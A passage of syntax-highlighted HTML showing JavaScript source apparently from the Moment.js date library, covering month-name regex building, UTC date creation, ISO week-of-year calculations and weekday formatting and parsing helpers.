class="string">&#x27;_monthsRegex&#x27;</span>)) &#123;</span><br><span class="line">                computeMonthsParse.<span class="title function_">call</span>(<span class="variable language_">this</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (isStrict) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_monthsShortStrictRegex</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_monthsShortRegex</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span class="string">&#x27;_monthsShortRegex&#x27;</span>)) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_monthsShortRegex</span> = defaultMonthsShortRegex;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_monthsShortStrictRegex</span> &amp;&amp; isStrict ?</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_monthsShortStrictRegex</span> : <span class="variable language_">this</span>.<span class="property">_monthsShortRegex</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultMonthsRegex = matchWord;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">monthsRegex</span>(<span class="params">isStrict</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">_monthsParseExact</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span class="string">&#x27;_monthsRegex&#x27;</span>)) &#123;</span><br><span class="line">                computeMonthsParse.<span class="title function_">call</span>(<span class="variable language_">this</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (isStrict) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_monthsStrictRegex</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_monthsRegex</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span class="string">&#x27;_monthsRegex&#x27;</span>)) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_monthsRegex</span> = defaultMonthsRegex;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_monthsStrictRegex</span> &amp;&amp; isStrict ?</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_monthsStrictRegex</span> : <span class="variable language_">this</span>.<span class="property">_monthsRegex</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">computeMonthsParse</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">function</span> <span class="title function_">cmpLenRev</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> b.<span class="property">length</span> - a.<span class="property">length</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> shortPieces = [],</span><br><span class="line">            longPieces = [],</span><br><span class="line">            mixedPieces = [],</span><br><span class="line">            i, mom;</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">12</span>; i++) &#123;</span><br><span class="line">            <span class="comment">// make the regex if we don&#x27;t have it already</span></span><br><span class="line">            mom = <span class="title function_">createUTC</span>([<span class="number">2000</span>, i]);</span><br><span class="line">            shortPieces.<span class="title function_">push</span>(<span class="variable language_">this</span>.<span class="title function_">monthsShort</span>(mom, <span class="string">&#x27;&#x27;</span>));</span><br><span class="line">            longPieces.<span class="title function_">push</span>(<span class="variable language_">this</span>.<span class="title function_">months</span>(mom, <span class="string">&#x27;&#x27;</span>));</span><br><span class="line">            mixedPieces.<span class="title function_">push</span>(<span class="variable language_">this</span>.<span class="title function_">months</span>(mom, <span class="string">&#x27;&#x27;</span>));</span><br><span class="line">            mixedPieces.<span class="title function_">push</span>(<span class="variable language_">this</span>.<span class="title function_">monthsShort</span>(mom, <span class="string">&#x27;&#x27;</span>));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// Sorting makes sure if one month (or abbr) is a prefix of another it</span></span><br><span class="line">        <span class="comment">// will match the longer piece.</span></span><br><span class="line">        shortPieces.<span class="title function_">sort</span>(cmpLenRev);</span><br><span class="line">        longPieces.<span class="title function_">sort</span>(cmpLenRev);</span><br><span class="line">        mixedPieces.<span class="title function_">sort</span>(cmpLenRev);</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">12</span>; i++) &#123;</span><br><span class="line">            shortPieces[i] = <span class="title function_">regexEscape</span>(shortPieces[i]);</span><br><span class="line">            longPieces[i] = <span class="title function_">regexEscape</span>(longPieces[i]);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">24</span>; i++) &#123;</span><br><span class="line">            mixedPieces[i] = <span class="title function_">regexEscape</span>(mixedPieces[i]);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_monthsRegex</span> = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^(&#x27;</span> + mixedPieces.<span class="title function_">join</span>(<span class="string">&#x27;|&#x27;</span>) + <span class="string">&#x27;)&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_monthsShortRegex</span> = <span class="variable language_">this</span>.<span class="property">_monthsRegex</span>;</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_monthsStrictRegex</span> = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^(&#x27;</span> + longPieces.<span class="title function_">join</span>(<span class="string">&#x27;|&#x27;</span>) + <span class="string">&#x27;)&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_monthsShortStrictRegex</span> = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^(&#x27;</span> + shortPieces.<span class="title function_">join</span>(<span class="string">&#x27;|&#x27;</span>) + <span class="string">&#x27;)&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createDate</span>(<span class="params">y, m, d, h, M, s, ms</span>) &#123;</span><br><span class="line">        <span class="comment">// can&#x27;t just apply() to create a date:</span></span><br><span class="line">        <span class="comment">// https://stackoverflow.com/q/181348</span></span><br><span class="line">        <span class="keyword">var</span> date;</span><br><span class="line">        <span class="comment">// the date constructor remaps years 0-99 to 1900-1999</span></span><br><span class="line">        <span class="keyword">if</span> (y &lt; <span class="number">100</span> &amp;&amp; y &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="comment">// preserve leap years using a full 400 year cycle, then reset</span></span><br><span class="line">            date = <span class="keyword">new</span> <span class="title class_">Date</span>(y + <span class="number">400</span>, m, d, h, M, s, ms);</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">isFinite</span>(date.<span class="title function_">getFullYear</span>())) &#123;</span><br><span class="line">                date.<span class="title function_">setFullYear</span>(y);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            date = <span class="keyword">new</span> <span class="title class_">Date</span>(y, m, d, h, M, s, ms);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> date;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createUTCDate</span>(<span class="params">y</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> date;</span><br><span class="line">        <span class="comment">// the Date.UTC function remaps years 0-99 to 1900-1999</span></span><br><span class="line">        <span class="keyword">if</span> (y &lt; <span class="number">100</span> &amp;&amp; y &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> args = <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">slice</span>.<span class="title function_">call</span>(<span class="variable language_">arguments</span>);</span><br><span class="line">            <span class="comment">// preserve leap years using a full 400 year cycle, then reset</span></span><br><span class="line">            args[<span class="number">0</span>] = y + <span class="number">400</span>;</span><br><span class="line">            date = <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="title class_">Date</span>.<span class="property">UTC</span>.<span class="title function_">apply</span>(<span class="literal">null</span>, args));</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">isFinite</span>(date.<span class="title function_">getUTCFullYear</span>())) &#123;</span><br><span class="line">                date.<span class="title function_">setUTCFullYear</span>(y);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            date = <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="title class_">Date</span>.<span class="property">UTC</span>.<span class="title function_">apply</span>(<span class="literal">null</span>, <span class="variable language_">arguments</span>));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> date;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// start-of-first-week - start-of-year</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">firstWeekOffset</span>(<span class="params">year, dow, doy</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> <span class="comment">// first-week day -- which january is always in the first week (4 for iso, 1 for other)</span></span><br><span class="line">            fwd = <span class="number">7</span> + dow - doy,</span><br><span class="line">            <span class="comment">// first-week day local weekday -- which local weekday is fwd</span></span><br><span class="line">            fwdlw = (<span class="number">7</span> + <span class="title function_">createUTCDate</span>(year, <span class="number">0</span>, fwd).<span class="title function_">getUTCDay</span>() - dow) % <span class="number">7</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> -fwdlw + fwd - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// https://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">dayOfYearFromWeeks</span>(<span class="params">year, week, weekday, dow, doy</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> localWeekday = (<span class="number">7</span> + weekday - dow) % <span class="number">7</span>,</span><br><span class="line">            weekOffset = <span class="title function_">firstWeekOffset</span>(year, dow, doy),</span><br><span class="line">            dayOfYear = <span class="number">1</span> + <span class="number">7</span> * (week - <span class="number">1</span>) + localWeekday + weekOffset,</span><br><span class="line">            resYear, resDayOfYear;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (dayOfYear &lt;= <span class="number">0</span>) &#123;</span><br><span class="line">            resYear = year - <span class="number">1</span>;</span><br><span class="line">            resDayOfYear = <span class="title function_">daysInYear</span>(resYear) + dayOfYear;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (dayOfYear &gt; <span class="title function_">daysInYear</span>(year)) &#123;</span><br><span class="line">            resYear = year + <span class="number">1</span>;</span><br><span class="line">            resDayOfYear = dayOfYear - <span class="title function_">daysInYear</span>(year);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            resYear = year;</span><br><span class="line">            resDayOfYear = dayOfYear;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">            <span class="attr">year</span>: resYear,</span><br><span class="line">            <span class="attr">dayOfYear</span>: resDayOfYear</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">weekOfYear</span>(<span class="params">mom, dow, doy</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> weekOffset = <span class="title function_">firstWeekOffset</span>(mom.<span class="title function_">year</span>(), dow, doy),</span><br><span class="line">            week = <span class="title class_">Math</span>.<span class="title function_">floor</span>((mom.<span class="title function_">dayOfYear</span>() - weekOffset - <span class="number">1</span>) / <span class="number">7</span>) + <span class="number">1</span>,</span><br><span class="line">            resWeek, resYear;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (week &lt; <span class="number">1</span>) &#123;</span><br><span class="line">            resYear = mom.<span class="title function_">year</span>() - <span class="number">1</span>;</span><br><span class="line">            resWeek = week + <span class="title function_">weeksInYear</span>(resYear, dow, doy);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (week &gt; <span class="title function_">weeksInYear</span>(mom.<span class="title function_">year</span>(), dow, doy)) &#123;</span><br><span class="line">            resWeek = week - <span class="title function_">weeksInYear</span>(mom.<span class="title function_">year</span>(), dow, doy);</span><br><span class="line">            resYear = mom.<span class="title function_">year</span>() + <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            resYear = mom.<span class="title function_">year</span>();</span><br><span class="line">            resWeek = week;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">            <span class="attr">week</span>: resWeek,</span><br><span class="line">            <span class="attr">year</span>: resYear</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">weeksInYear</span>(<span class="params">year, dow, doy</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> weekOffset = <span class="title function_">firstWeekOffset</span>(year, dow, doy),</span><br><span class="line">            weekOffsetNext = <span class="title function_">firstWeekOffset</span>(year + <span class="number">1</span>, dow, doy);</span><br><span class="line">        <span class="keyword">return</span> (<span class="title function_">daysInYear</span>(year) - weekOffset + weekOffsetNext) / <span class="number">7</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;w&#x27;</span>, [<span class="string">&#x27;ww&#x27;</span>, <span class="number">2</span>], <span class="string">&#x27;wo&#x27;</span>, <span class="string">&#x27;week&#x27;</span>);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;W&#x27;</span>, [<span class="string">&#x27;WW&#x27;</span>, <span class="number">2</span>], <span class="string">&#x27;Wo&#x27;</span>, <span class="string">&#x27;isoWeek&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;week&#x27;</span>, <span class="string">&#x27;w&#x27;</span>);</span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;isoWeek&#x27;</span>, <span class="string">&#x27;W&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITIES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;week&#x27;</span>, <span class="number">5</span>);</span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;isoWeek&#x27;</span>, <span class="number">5</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;w&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;ww&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;W&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;WW&#x27;</span>, match1to2, match2);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addWeekParseToken</span>([<span class="string">&#x27;w&#x27;</span>, <span class="string">&#x27;ww&#x27;</span>, <span class="string">&#x27;W&#x27;</span>, <span class="string">&#x27;WW&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, week, config, token</span>) &#123;</span><br><span class="line">        week[token.<span class="title function_">substr</span>(<span class="number">0</span>, <span class="number">1</span>)] = <span class="title function_">toInt</span>(input);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// HELPERS</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// LOCALES</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeWeek</span>(<span class="params">mom</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">weekOfYear</span>(mom, <span class="variable language_">this</span>.<span class="property">_week</span>.<span class="property">dow</span>, <span class="variable language_">this</span>.<span class="property">_week</span>.<span class="property">doy</span>).<span class="property">week</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultLocaleWeek = &#123;</span><br><span class="line">        <span class="attr">dow</span>: <span class="number">0</span>, <span class="comment">// Sunday is the first day of the week.</span></span><br><span class="line">        <span class="attr">doy</span>: <span class="number">6</span> <span class="comment">// The week that contains Jan 6th is the first week of the year.</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeFirstDayOfWeek</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_week</span>.<span class="property">dow</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeFirstDayOfYear</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_week</span>.<span class="property">doy</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetWeek</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> week = <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">week</span>(<span class="variable language_">this</span>);</span><br><span class="line">        <span class="keyword">return</span> input == <span class="literal">null</span> ? week : <span class="variable language_">this</span>.<span class="title function_">add</span>((input - week) * <span class="number">7</span>, <span class="string">&#x27;d&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetISOWeek</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> week = <span class="title function_">weekOfYear</span>(<span class="variable language_">this</span>, <span class="number">1</span>, <span class="number">4</span>).<span class="property">week</span>;</span><br><span class="line">        <span class="keyword">return</span> input == <span class="literal">null</span> ? week : <span class="variable language_">this</span>.<span class="title function_">add</span>((input - week) * <span class="number">7</span>, <span class="string">&#x27;d&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;d&#x27;</span>, <span class="number">0</span>, <span class="string">&#x27;do&#x27;</span>, <span class="string">&#x27;day&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;dd&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params">format</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">weekdaysMin</span>(<span class="variable language_">this</span>, format);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;ddd&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params">format</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">weekdaysShort</span>(<span class="variable language_">this</span>, format);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;dddd&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params">format</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">weekdays</span>(<span class="variable language_">this</span>, format);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;e&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="string">&#x27;weekday&#x27;</span>);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;E&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="string">&#x27;isoWeekday&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;day&#x27;</span>, <span class="string">&#x27;d&#x27;</span>);</span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;weekday&#x27;</span>, <span class="string">&#x27;e&#x27;</span>);</span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;isoWeekday&#x27;</span>, <span class="string">&#x27;E&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;day&#x27;</span>, <span class="number">11</span>);</span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;weekday&#x27;</span>, <span class="number">11</span>);</span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;isoWeekday&#x27;</span>, <span class="number">11</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;d&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;e&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;E&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;dd&#x27;</span>, <span class="keyword">function</span> (<span class="params">isStrict, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> locale.<span class="title function_">weekdaysMinRegex</span>(isStrict);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;ddd&#x27;</span>, <span class="keyword">function</span> (<span class="params">isStrict, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> locale.<span class="title function_">weekdaysShortRegex</span>(isStrict);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;dddd&#x27;</span>, <span class="keyword">function</span> (<span class="params">isStrict, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> locale.<span class="title function_">weekdaysRegex</span>(isStrict);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addWeekParseToken</span>([<span class="string">&#x27;dd&#x27;</span>, <span class="string">&#x27;ddd&#x27;</span>, <span class="string">&#x27;dddd&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, week, config, token</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> weekday = config.<span class="property">_locale</span>.<span class="title function_">weekdaysParse</span>(input, token, config.<span class="property">_strict</span>);</span><br><span class="line">        <span class="comment">// if we didn&#x27;t get a weekday name, mark the date as invalid</span></span><br><span class="line">        <span class="keyword">if</span> (weekday != <span class="literal">null</span>) &#123;</span><br><span class="line">            week.<span class="property">d</span> = weekday;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">invalidWeekday</span> = input;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addWeekParseToken</span>([<span class="string">&#x27;d&#x27;</span>, <span class="string">&#x27;e&#x27;</span>, <span class="string">&#x27;E&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, week, config, token</span>) &#123;</span><br><span class="line">        week[token] = <span class="title function_">toInt</span>(input);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// HELPERS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">parseWeekday</span>(<span class="params">input, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> input !== <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> input;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="built_in">isNaN</span>(input)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">parseInt</span>(input, <span class="number">10</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        input = locale.<span class="title function_">weekdaysParse</span>(input);</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> input === <span class="string">&#x27;number&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> input;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">parseIsoWeekday</span>(<span class="params">input, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> input === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> locale.<span class="title function_">weekdaysParse</span>(input) % <span class="number">7</span> || <span class="number">7</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">isNaN</span>(input) ? <span class="literal">null</span> : input;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// LOCALES</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">shiftWeekdays</span>(<span class="params">ws, n</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> ws.<span class="title function_">slice</span>(n, <span class="number">7</span>).<span class="title function_">concat</span>(ws.<span class="title function_">slice</span>(<span class="number">0</span>, n));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultLocaleWeekdays = <span class="string">&#x27;Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday&#x27;</span>.<span class="title function_">split</span>(<span class="string">&#x27;_&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeWeekdays</span>(<span class="params">m, format</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> weekdays = <span class="title function_">isArray</span>(<span class="variable language_">this</span>.<span class="property">_weekdays</span>) ? <span class="variable language_">this</span>.<span class="property">_weekdays</span> :</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_weekdays</span>[(m &amp;&amp; m !== <span class="literal">true</span> &amp;&amp; <span class="variable language_">this</span>.<span class="property">_weekdays</span>.<span class="property">isFormat</span>.<span class="title function_">test</span>(format)) ? <span class="string">&#x27;format&#x27;</span> :</span><br><span class="line">                <span class="string">&#x27;standalone&#x27;</span>];</span><br><span class="line">        <span class="keyword">return</span> (m === <span class="literal">true</span>) ? <span class="title function_">shiftWeekdays</span>(weekdays, <span class="variable language_">this</span>.<span class="property">_week</span>.<span class="property">dow</span>) :</span><br><span class="line">            (m) ? weekdays[m.<span class="title function_">day</span>()] : weekdays;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultLocaleWeekdaysShort = <span class="string">&#x27;Sun_Mon_Tue_Wed_Thu_Fri_Sat&#x27;</span>.<span class="title function_">split</span>(<span class="string">&#x27;_&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeWeekdaysShort</span>(<span class="params">m</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> (m === <span class="literal">true</span>) ? <span class="title function_">shiftWeekdays</span>(<span class="variable language_">this</span>.<span class="property">_weekdaysShort</span>, <span class="variable language_">this</span>.<span class="property">_week</span>.<span class="property">dow</span>) :</span><br><span class="line">            (m) ? <span class="variable language_">this</span>.<span class="property">_weekdaysShort</span>[m.<span class="title function_">day</span>()] : <span class="variable language_">this</span>.<span class="property">_weekdaysShort</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultLocaleWeekdaysMin = <span class="string">&#x27;Su_Mo_Tu_We_Th_Fr_Sa&#x27;</span>.<span class="title function_">split</span>(<span class="string">&#x27;_&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeWeekdaysMin</span>(<span class="params">m</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> (m === <span class="literal">true</span>) ? <span class="title function_">shiftWeekdays</span>(<span class="variable 